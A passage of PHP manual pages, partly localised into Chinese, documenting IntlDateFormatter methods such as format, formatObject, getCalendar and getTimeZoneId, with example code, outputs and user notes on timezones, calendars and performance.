The calendar name can be 'gregorian', even if the intlDateFormatter::TRADITIONAL constant is used, which makes for a more generic code approach.
Anonymous 13-Jul-2018 05:31
The documentation says that $datetype and $timetype can also be NULL,  in which case ICU?s default date type or time type will be used.

But when declare (strict_types=1); is also set, Intl fails to create the IntlDateFormatter class, and it returns an error "datefmt_create: unable to parse input parameters".
mikko dot rantalainen at peda dot net 29-Mar-2012 01:08
Documentation says "timezone: Time zone ID, default is system default."

The "system default" really means only the "TZ" environment variable on Unix/Linux systems. It does not mean PHP ini setting or value set via date_default_timezone_set() or the OS default time zone in file "/etc/timezone".
daniel dot rhodes at warpasylum dot co dot uk 19-Aug-2011 07:41
It should be noted that the locale string passed into IntlDateFormatter's constructor supports UCA keywords. So you can, for example, do things like this to output the year as a Japanese era year:

<?php
$now = new DateTime();    //DateTime is a core PHP class as of version 5.2.0

$formatter = new IntlDateFormatter('ja_JP', IntlDateFormatter::FULL,
        IntlDateFormatter::FULL, 'Asia/Tokyo', IntlDateFormatter::GREGORIAN);

echo 'It is now: "' . $formatter->format($now) . '" in Tokyo' . "\n";
//above gives [It is now: "2011年8月19日金曜日 23時32分27秒JST" in Tokyo]

$formatter = new IntlDateFormatter('ja_JP@calendar=japanese', IntlDateFormatter::FULL,
        IntlDateFormatter::FULL, 'Asia/Tokyo', IntlDateFormatter::TRADITIONAL);

echo 'It is now: "' . $formatter->format($now) . '" in Tokyo' . "\n";
//above gives [It is now: "平成23年8月19日金曜日 23時32分27秒JST" in Tokyo]
?>


Format the date/time value as a string

  • ? IntlDateFormatter::create
  • IntlDateFormatter::formatObject ?
  • PHP Manual
  • IntlDateFormatter
  • Format the date/time value as a string

IntlDateFormatter::format

datefmt_format

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::format -- datefmt_format — Format the date/time value as a string

说明

面向对象风格

public IntlDateFormatter::format(IntlCalendar|DateTimeInterface|array|string|int|float $datetime): string|false

过程化风格

datefmt_format(IntlDateFormatter $formatter, IntlCalendar|DateTimeInterface|array|string|int|float $datetime): string|false

Formats the time value as a string.

参数

formatter

The date formatter resource.

datetime

Value to format. This may be a DateTimeInterface object, an IntlCalendar object, a numeric type representing a (possibly fractional) number of seconds since epoch or an array in the format output by localtime().

If a DateTime or an IntlCalendar object is passed, its timezone is not considered. The object will be formatted using the formater?s configured timezone. If one wants to use the timezone of the object to be formatted, IntlDateFormatter::setTimeZone() must be called before with the object?s timezone. Alternatively, the static function IntlDateFormatter::formatObject() may be used instead.

返回值

The formatted string or, if an error occurred, false.

更新日志

版本 | 说明
7.1.5 | Support for providing general DateTimeInterface objects to the datetime parameter was added. Formerly, only proper DateTime objects were supported.
PECL 3.0.0 | Support for providing IntlCalendar objects to the datetime parameter was added.

示例

Example #1 datefmt_format() example

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'First Formatted output is ' . datefmt_format($fmt, 0);

$fmt = datefmt_create(
'de-DE',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Second Formatted output is ' . datefmt_format($fmt, 0);

$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
'MM/dd/yyyy'
);
echo 'First Formatted output with pattern is ' . datefmt_format($fmt, 0);

$fmt = datefmt_create(
'de-DE',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
'MM/dd/yyyy'
);
echo "Second Formatted output with pattern is " . datefmt_format($fmt, 0);
?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'First Formatted output is ' . $fmt->format(0);

$fmt = new IntlDateFormatter(
'de-DE',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Second Formatted output is ' . $fmt->format(0);

$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
'MM/dd/yyyy'
);
echo 'First Formatted output with pattern is ' . $fmt->format(0);

$fmt = new IntlDateFormatter(
'de-DE',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
'MM/dd/yyyy'
);
echo 'Second Formatted output with pattern is ' . $fmt->format(0);
?>

以上示例会输出：

First Formatted output is Wednesday, December 31, 1969 4:00:00 PM PT
Second Formatted output is Mittwoch, 31. Dezember 1969 16:00 Uhr GMT-08:00
First Formatted output with pattern is 12/31/1969
Second Formatted output with pattern is 12/31/1969

Example #3 With IntlCalendar object

<?php
$tz = reset(iterator_to_array(IntlTimeZone::createEnumeration('FR')));
$formatter = IntlDateFormatter::create(
'fr_FR',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
$tz,
IntlDateFormatter::GREGORIAN
);

$cal = IntlCalendar::createInstance($tz, '@calendar=islamic-civil');
$cal->set(IntlCalendar::FIELD_MONTH, 8); //9th month, Ramadan
$cal->set(IntlCalendar::FIELD_DAY_OF_MONTH, 1); //1st day
$cal->clear(IntlCalendar::FIELD_HOUR_OF_DAY);
$cal->clear(IntlCalendar::FIELD_MINUTE);
$cal->clear(IntlCalendar::FIELD_SECOND);
$cal->clear(IntlCalendar::FIELD_MILLISECOND);

echo "In this islamic year, Ramadan started/will start on:\n\t",
$formatter->format($cal), "\n";

//It?s the formatter?s timezone that is used:
$formatter->setTimeZone('Asia/Tokyo');
echo "After changing timezone:\n\t",
$formatter->format($cal), "\n";

以上示例会输出：

In this islamic year, Ramadan started/will start on:
    mardi 9 juillet 2013 19:00:00 heure avancée d'Europe centrale
After changing timezone:
    mercredi 10 juillet 2013 02:00:00 heure normale du Japon

参见

  • datefmt_create() - Create a date formatter
  • datefmt_parse() - Parse string to a timestamp value
  • datefmt_get_error_code() - Get the error code from last operation
  • datefmt_get_error_message() - Get the error text from the last operation
  • datefmt_format_object() - Formats an object

User Contributed Notes

Anonymous 03-Oct-2021 03:54
DATE FIELD SYMBOL TABLE

https://unicode-org.github.io/icu/userguide/format_parse/datetime/#date-field-symbol-table
mail dot dennisbecker at gmail dot com 06-Feb-2013 04:38
You should know that PHPs IntlDateFormatter class uses ISO date format codes instead of PHPs date() format codes. It is not really clear mentioned from my point of view.

A good list to find ISO codes is available at http://framework.zend.com/manual/1.12/en/zend.date.constants.html#zend.date.constants.selfdefinedformats and such a list should be added here, too.
con at bartrail dot de 07-Oct-2011 04:47
I hope this will save some time for others who have to struggle with different php versions on dev and prod plattform in the future:

when formatting a DateTime object with a *custom pattern*, be sure to use a timestamp to pass at the IntlDateFormatter::format in order to have it working on different php versions:

Example for PHP Version 5.3.5-1ubuntu7.2 (my dev machine):
<?php
$date = new \DateTime();

$dateFormatter = \IntlDateFormatter::create(
  \Locale::getDefault(),
  \IntlDateFormatter::NONE,
  \IntlDateFormatter::NONE,
  \date_default_timezone_get(),
  \IntlDateFormatter::GREGORIAN,
  'EEEE'
);

var_dump($dateFormatter->format($date)); // string(6) "Monday"
?>

Example for PHP Version 5.3.2-1ubuntu4.9 (the prod server):
<?php
// same formatting as above

var_dump($dateFormatter->format($date)); // bool(false)
?>

When using $dateFormatter->format($date->getTimestamp()), you'll always get the formatted and localized string instead of a false.
alex 19-May-2010 11:10
It's important to note that a conversion of timezones will be made from the default timezone (date_default_timezone_set()) and the timezone you passed in the constructor (or datefmt_create()).

If you are inserting the dates into your database as UTC time, make sure to set date_default_timezone_set to UTC as well (or any other timezone, but they need to be the same). Once you call ::format, you will get the converted time.


Formats an object

  • ? IntlDateFormatter::format
  • IntlDateFormatter::getCalendar ?
  • PHP Manual
  • IntlDateFormatter
  • Formats an object

IntlDateFormatter::formatObject

datefmt_format_object

(PHP 5 >= 5.5.0, PHP 7, PHP 8, PECL intl >= 3.0.0)

IntlDateFormatter::formatObject -- datefmt_format_object — Formats an object

说明

面向对象风格

public static IntlDateFormatter::formatObject(IntlCalendar|DateTimeInterface $datetime, array|int|string|null $format = null, ?string $locale = null): string|false

过程化风格

datefmt_format_object(IntlCalendar|DateTimeInterface $datetime, array|int|string|null $format = null, ?string $locale = null): string|false

This function allows formatting an IntlCalendar or DateTime object without first explicitly creating a IntlDateFormatter object.

The temporary IntlDateFormatter that will be created will take the timezone from the passed in object. The timezone database bundled with PHP will not be used - ICU's will be used instead. The timezone identifier used in DateTime objects must therefore also exist in ICU's database.

参数

datetime

An object of type IntlCalendar or DateTime. The timezone information in the object will be used.

format

How to format the date/time. This can either be an array with two elements (first the date style, then the time style, these being one of the constants IntlDateFormatter::NONE, IntlDateFormatter::SHORT, IntlDateFormatter::MEDIUM, IntlDateFormatter::LONG, IntlDateFormatter::FULL), an int with the value of one of these constants (in which case it will be used both for the time and the date) or a string with the format described in » the ICU documentation. If null, the default style will be used.

locale

The locale to use, or null to use the default one.

返回值

A string with result 或者在失败时返回 false.

示例

Example #1 IntlDateFormatter::formatObject() examples

<?php
/* default timezone is irrelevant; timezone taken from the object */
ini_set('date.timezone', 'UTC');
/* default locale is taken from this ini setting */
ini_set('intl.default_locale', 'fr_FR');

$cal = IntlCalendar::fromDateTime("2013-06-06 17:05:06 Europe/Dublin");
echo "default:\n\t",
IntlDateFormatter::formatObject($cal),
"\n";

echo "long \$format (full):\n\t",
IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL),
"\n";

echo "array \$format (none, full):\n\t",
IntlDateFormatter::formatObject($cal, array(
IntlDateFormatter::NONE,
IntlDateFormatter::FULL)),
"\n";

echo "string \$format (d 'of' MMMM y):\n\t",
IntlDateFormatter::formatObject($cal, "d 'of' MMMM y", 'en_US'),
"\n";

echo "with DateTime:\n\t",
IntlDateFormatter::formatObject(
new DateTime("2013-09-09 09:09:09 Europe/Madrid"),
IntlDateFormatter::FULL,
'es_ES'),
"\n";

以上示例会输出：

default:
    6 juin 2013 17:05:06
long $format (full):
    jeudi 6 juin 2013 17:05:06 heure d'été irlandaise
array $format (none, full):
    17:05:06 heure d'été irlandaise
string $format (d 'of' MMMM y):
    6 of June 2013
with DateTime:
    lunes, 9 de septiembre de 2013 09:09:09 Hora de verano de Europa central

User Contributed Notes

Anonymous 08-Apr-2023 10:12
`format` vs static `formatObject`

** The `formatObject` is NOT slower!  (on PHP 5.5) **

Use either the `format` method or the static `formatObject`.

Since `formatObject` is doing the work of `new IntlDateFormatter` with the provided pattern, the instantiation line must be included in the loop!

Another debunked flawed false test!

php -v
PHP 5.5.26-1+deb.sury.org~precise+1 (cli) (built: Jun 15 2015 10:04:01)
Copyright (c) 1997-2015 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2015 Zend Technologies
    with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2015, by Zend Technologies
    with Xdebug v2.3.2, Copyright (c) 2002-2015, by Derick Rethans

<?php
date_default_timezone_set('America/Los_Angeles');
$n = 3000;

$dt = new DateTime('2015-01-03 12:32:44');

$time[] = microtime(true);
for($i=0;$i<$n;$i++) {
    $a = IntlDateFormatter::formatObject($dt, 'MMMM dd', 'hu_HU');
}
echo "$a\n";
$time[] = microtime(true);
for($i=0;$i<$n;$i++) {
    $df = new IntlDateFormatter('hu_HU', IntlDateFormatter::SHORT, IntlDateFormatter::NONE, null, null, 'MMMM dd');
    $a = $df->format($dt);
}
echo "$a\n";
$time[] = microtime(true);

for($j=1;$j<count($time);$j++) {
    printf("%fs\n", $time[$j]-$time[$j-1]);
}
?>

`formatObject` : 0.336579s
`format` : 0.391158s
raf at sns dot pm 07-Apr-2022 02:44
If you want to format a date according to a specific scheme and in a local language, here is the link to the reference of the formatting codes to use, I did not find it directly in the documentation:
https://unicode-org.github.io/icu/userguide/format_parse/datetime/#date-field-symbol-table
 Here is a test using a DateTime object :

<?php

// must be required by the server
date_default_timezone_set( 'Europe/Paris' );

// instantiate a new DateTime object
$dateTimeObj = new DateTime('now', new DateTimeZone('Europe/Paris'));

// format the date with a specific scheme
// the 3 parameters are [ DateTimeObject, ICU Scheme, locale code string ]
$dateFromatted = IntlDateFormatter::formatObject( $dateTimeObj, "eee d MMMM y à HH:mm", 'fr' );

// test :
echo ucwords($dateFromatted);
// output : Jeu. 7 Avril 2022 à 04:36 // formatted as i want

?>
sebastian at huehnerhose dot de 14-Jun-2017 12:37
It's still slower on php7.1, but not that dramatic anymore, here I got something around 5times slower
ferenczi dot krisztian at gmail dot com 13-Aug-2015 01:56
`format` vs static `formatObject`

The `formatObject` is slower! `format` is more then 10-13 times faster! (on PHP 5.5) Use the `format` method instead of the static `formatObject`.

php -v
PHP 5.5.26-1+deb.sury.org~precise+1 (cli) (built: Jun 15 2015 10:04:01)
Copyright (c) 1997-2015 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2015 Zend Technologies
    with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2015, by Zend Technologies
    with Xdebug v2.3.2, Copyright (c) 2002-2015, by Derick Rethans

<?php
$n = 3000;

$dt = new \DateTime('2015-01-03 12:32:44');
$df = new IntlDateFormatter('hu_HU', IntlDateFormatter::SHORT, IntlDateFormatter::NONE);
$df->setPattern('MMMM dd');

$time[] = microtime(true);
for($i=0;$i<$n;$i++) {
    $a = IntlDateFormatter::formatObject($dt, 'MMMM dd', 'hu_HU');
}
echo "$a\n";
$time[] = microtime(true);
for($i=0;$i<$n;$i++) {
    $a = $df->format($dt);
}
echo "$a\n";
$time[] = microtime(true);

for($j=1;$j<count($time);$j++) {
    printf("%fs\n", $time[$j]-$time[$j-1]);
}
?>

`formatObject` : 0.458248 s
`format` : 0.033759 s


Get the calendar type used for the IntlDateFormatter

  • ? IntlDateFormatter::formatObject
  • IntlDateFormatter::getDateType ?
  • PHP Manual
  • IntlDateFormatter
  • Get the calendar type used for the IntlDateFormatter

IntlDateFormatter::getCalendar

datefmt_get_calendar

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::getCalendar -- datefmt_get_calendar — Get the calendar type used for the IntlDateFormatter

说明

面向对象风格

public IntlDateFormatter::getCalendar(): int|false

过程化风格

datefmt_get_calendar(IntlDateFormatter $formatter): int|false

参数

formatter

The formatter resource

返回值

The calendar type being used by the formatter. Either IntlDateFormatter::TRADITIONAL or IntlDateFormatter::GREGORIAN. Returns false on failure.

示例

Example #1 datefmt_get_calendar() example

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'calendar of the formatter is : ' . datefmt_get_calendar($fmt);
datefmt_set_calendar($fmt, IntlDateFormatter::TRADITIONAL);
echo 'Now calendar of the formatter is : ' . datefmt_get_calendar($fmt);
?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'calendar of the formatter is : ' . $fmt->getCalendar();
$fmt->setCalendar(IntlDateFormatter::TRADITIONAL);
echo 'Now calendar of the formatter is : ' . $fmt->getCalendar();

?>

Example #3 Example of invalid locale handling

<?php
try {
$fmt = new IntlDateFormatter(
'invalid_locale',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'dunno',
IntlDateFormatter::GREGORIAN,
);
$cal = $fmt->getCalendar();
} catch (\Error $e) {
// ...
}
?>

以上示例会输出：

calendar of the formatter is : 1
Now calendar of the formatter is : 0

参见

  • datefmt_get_calendar_object() - Get copy of formatter?s calendar object
  • datefmt_set_calendar() - Sets the calendar type used by the formatter
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.


Get the datetype used for the IntlDateFormatter

  • ? IntlDateFormatter::getCalendar
  • IntlDateFormatter::getErrorCode ?
  • PHP Manual
  • IntlDateFormatter
  • Get the datetype used for the IntlDateFormatter

IntlDateFormatter::getDateType

datefmt_get_datetype

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::getDateType -- datefmt_get_datetype — Get the datetype used for the IntlDateFormatter

说明

面向对象风格

public IntlDateFormatter::getDateType(): int|false

过程化风格

datefmt_get_datetype(IntlDateFormatter $formatter): int|false

Returns date type used by the formatter.

参数

formatter

The formatter resource.

返回值

The current date type value of the formatter, 或者在失败时返回 false.

示例

Example #1 datefmt_get_datetype() example

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'datetype of the formatter is : ' . datefmt_get_datetype($fmt);
echo 'First Formatted output with datetype is ' . datefmt_format($fmt, 0);

$fmt = datefmt_create(
'en_US',
IntlDateFormatter::SHORT,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Now datetype of the formatter is : ' . datefmt_get_datetype($fmt);
echo 'Second Formatted output with datetype is ' . datefmt_format($fmt, 0);

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'datetype of the formatter is : ' . $fmt->getDateType();
echo 'First Formatted output is ' . $fmt->format(0);
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::SHORT,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Now datetype of the formatter is : ' . $fmt->getDateType();
echo 'Second Formatted output is ' . $fmt->format(0);

?>

以上示例会输出：

datetype of the formatter is : 0
First Formatted output is Wednesday, December 31, 1969 4:00:00 PM PT
Now datetype of the formatter is : 2
Second Formatted output is 12/31/69 4:00:00 PM PT

参见

  • datefmt_get_timetype() - Get the timetype used for the IntlDateFormatter
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.


Get the error code from last operation

  • ? IntlDateFormatter::getDateType
  • IntlDateFormatter::getErrorMessage ?
  • PHP Manual
  • IntlDateFormatter
  • Get the error code from last operation

IntlDateFormatter::getErrorCode

datefmt_get_error_code

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::getErrorCode -- datefmt_get_error_code — Get the error code from last operation

说明

面向对象风格

public IntlDateFormatter::getErrorCode(): int

过程化风格

datefmt_get_error_code(IntlDateFormatter $formatter): int

Get the error code from last operation. Returns error code from the last number formatting operation.

参数

formatter

The formatter resource.

返回值

The error code, one of UErrorCode values. Initial value is U_ZERO_ERROR.

示例

Example #1 datefmt_get_error_code() example

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
$str = datefmt_format($fmt);
if (!$str) {
printf(
"ERROR: %s (%d)\n",
datefmt_get_error_message($fmt),
datefmt_get_error_code($fmt)
);
}
?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
$str = $fmt->format();
if (!$str) {
printf(
"ERROR: %s (%d)\n",
$fmt->getErrorMessage(),
$fmt->getErrorCode()
);
}
?>

以上示例会输出：

ERROR: U_ZERO_ERROR (0)

参见

  • datefmt_get_error_message() - Get the error text from the last operation
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.


Get the error text from the last operation

  • ? IntlDateFormatter::getErrorCode
  • IntlDateFormatter::getLocale ?
  • PHP Manual
  • IntlDateFormatter
  • Get the error text from the last operation

IntlDateFormatter::getErrorMessage

datefmt_get_error_message

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::getErrorMessage -- datefmt_get_error_message — Get the error text from the last operation

说明

面向对象风格

public IntlDateFormatter::getErrorMessage(): string

过程化风格

datefmt_get_error_message(IntlDateFormatter $formatter): string

Get the error text from the last operation.

参数

formatter

The formatter resource.

返回值

Description of the last error.

示例

Example #1 datefmt_get_error_message() example

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
$str = datefmt_format($fmt);
if (!$str) {
printf(
"ERROR: %s (%d)\n",
datefmt_get_error_message($fmt),
datefmt_get_error_code($fmt)
);
}
?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
$str = $fmt->format();
if(!$str) {
printf(
"ERROR: %s (%d)\n",
$fmt->getErrorMessage(),
$fmt->getErrorCode()
);
}

?>

以上示例会输出：

ERROR: U_ZERO_ERROR (0)

参见

  • datefmt_get_error_code() - Get the error code from last operation
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.


Get the locale used by formatter

  • ? IntlDateFormatter::getErrorMessage
  • IntlDateFormatter::getPattern ?
  • PHP Manual
  • IntlDateFormatter
  • Get the locale used by formatter

IntlDateFormatter::getLocale

datefmt_get_locale

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::getLocale -- datefmt_get_locale — Get the locale used by formatter

说明

面向对象风格

public IntlDateFormatter::getLocale(int $type = ULOC_ACTUAL_LOCALE): string|false

过程化风格

datefmt_get_locale(IntlDateFormatter $formatter, int $type = ULOC_ACTUAL_LOCALE): string|false

Get locale used by the formatter.

参数

formatter

The formatter resource

type

You can choose between valid and actual locale ( Locale::VALID_LOCALE, Locale::ACTUAL_LOCALE, respectively). The default is the actual locale.

返回值

The locale of this formatter, 或者在失败时返回 false.

示例

Example #1 datefmt_get_locale() example

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'locale of the formatter is : ' . datefmt_get_locale($fmt);
echo 'First Formatted output is ' . datefmt_format($fmt, 0);

$fmt = datefmt_create(
'de-DE',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'locale of the formatter is : ' . datefmt_get_locale($fmt);
echo 'Second Formatted output is ' . datefmt_format($fmt, 0);

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'locale of the formatter is : ' . $fmt->getLocale();
echo 'First Formatted output is ' . $fmt->format(0);

$fmt = new IntlDateFormatter(
'de-DE',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'locale of the formatter is : ' . $fmt->getLocale();
echo 'Second Formatted output is ' . $fmt->format(0);

?>

以上示例会输出：

locale of the formatter is : en
First Formatted output is Wednesday, December 31, 1969 4:00:00 PM PT
locale of the formatter is : de
Second Formatted output is Mittwoch, 31. Dezember 1969 16:00 Uhr GMT-08:00

参见

  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.


Get the pattern used for the IntlDateFormatter

  • ? IntlDateFormatter::getLocale
  • IntlDateFormatter::getTimeType ?
  • PHP Manual
  • IntlDateFormatter
  • Get the pattern used for the IntlDateFormatter

IntlDateFormatter::getPattern

datefmt_get_pattern

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::getPattern -- datefmt_get_pattern — Get the pattern used for the IntlDateFormatter

说明

面向对象风格

public IntlDateFormatter::getPattern(): string|false

过程化风格

datefmt_get_pattern(IntlDateFormatter $formatter): string|false

Get pattern used by the formatter.

参数

formatter

The formatter resource.

返回值

The pattern string being used to format/parse, 或者在失败时返回 false.

示例

Example #1 datefmt_get_pattern() example

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
'MM/dd/yyyy'
);
echo 'pattern of the formatter is : ' . datefmt_get_pattern($fmt);
echo 'First Formatted output with pattern is ' . datefmt_format($fmt, 0);
datefmt_set_pattern($fmt,'yyyymmdd hh:mm:ss z');
echo 'Now pattern of the formatter is : ' . datefmt_get_pattern($fmt);
echo 'Second Formatted output with pattern is ' . datefmt_format($fmt, 0);

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN,
'MM/dd/yyyy'
);
echo 'pattern of the formatter is : ' . $fmt->getPattern();
echo 'First Formatted output is ' . $fmt->format(0);
$fmt->setPattern('yyyymmdd hh:mm:ss z');
echo 'Now pattern of the formatter is : ' . $fmt->getPattern();
echo 'Second Formatted output is ' . $fmt->format(0);
?>

以上示例会输出：

pattern of the formatter is : MM/dd/yyyy
First Formatted output is 12/31/1969
Now pattern of the formatter is : yyyymmdd hh:mm:ss z
Second Formatted output is 19690031 04:00:00 PST

参见

  • datefmt_set_pattern() - Set the pattern used for the IntlDateFormatter
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.


Get the timetype used for the IntlDateFormatter

  • ? IntlDateFormatter::getPattern
  • IntlDateFormatter::getTimeZoneId ?
  • PHP Manual
  • IntlDateFormatter
  • Get the timetype used for the IntlDateFormatter

IntlDateFormatter::getTimeType

datefmt_get_timetype

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::getTimeType -- datefmt_get_timetype — Get the timetype used for the IntlDateFormatter

说明

面向对象风格

public IntlDateFormatter::getTimeType(): int|false

过程化风格

datefmt_get_timetype(IntlDateFormatter $formatter): int|false

Return time type used by the formatter.

参数

formatter

The formatter resource.

返回值

The current date type value of the formatter, 或者在失败时返回 false.

示例

Example #1 datefmt_get_timetype() example

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'timetype of the formatter is : ' . datefmt_get_timetype($fmt);
echo 'First Formatted output with timetype is ' . datefmt_format($fmt, 0);

$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::SHORT,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Now timetype of the formatter is : ' . datefmt_get_timetype($fmt);
echo 'Second Formatted output with timetype is ' . datefmt_format($fmt, 0);

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'timetype of the formatter is : ' . $fmt->getTimeType();
echo 'First Formatted output is ' . $fmt->format(0);

$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::SHORT,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'Now timetype of the formatter is : ' . $fmt->getTimeType();
echo 'Second Formatted output is ' . $fmt->format(0);

?>

以上示例会输出：

timetype of the formatter is : 0
First Formatted output is Wednesday, December 31, 1969 4:00:00 PM PT
Now timetype of the formatter is : 3
Second Formatted output is Wednesday, December 31, 1969 4:00 PM

参见

  • datefmt_get_datetype() - Get the datetype used for the IntlDateFormatter
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.


Get the timezone-id used for the IntlDateFormatter

  • ? IntlDateFormatter::getTimeType
  • IntlDateFormatter::getCalendarObject ?
  • PHP Manual
  • IntlDateFormatter
  • Get the timezone-id used for the IntlDateFormatter

IntlDateFormatter::getTimeZoneId

datefmt_get_timezone_id

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

IntlDateFormatter::getTimeZoneId -- datefmt_get_timezone_id — Get the timezone-id used for the IntlDateFormatter

说明

面向对象风格

public IntlDateFormatter::getTimeZoneId(): string|false

过程化风格

datefmt_get_timezone_id(IntlDateFormatter $formatter): string|false

Get the timezone-id used for the IntlDateFormatter.

参数

formatter

The formatter resource.

返回值

ID string for the time zone used by this formatter, 或者在失败时返回 false.

示例

Example #1 datefmt_get_timezone_id() example

<?php
$fmt = datefmt_create(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'timezone_id of the formatter is: ' . datefmt_get_timezone_id($fmt) . "\n";
datefmt_set_timezone($fmt, 'Europe/Madrid');
echo 'Now timezone_id of the formatter is: ' . datefmt_get_timezone_id($fmt);

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
'en_US',
IntlDateFormatter::FULL,
IntlDateFormatter::FULL,
'America/Los_Angeles',
IntlDateFormatter::GREGORIAN
);
echo 'timezone_id of the formatter is: ' . $fmt->getTimezoneId() . "\n";
$fmt->setTimezone('Europe/Madrid');
echo 'Now timezone_id of the formatter is: ' . $fmt->getTimezoneId();

?>

以上示例会输出：

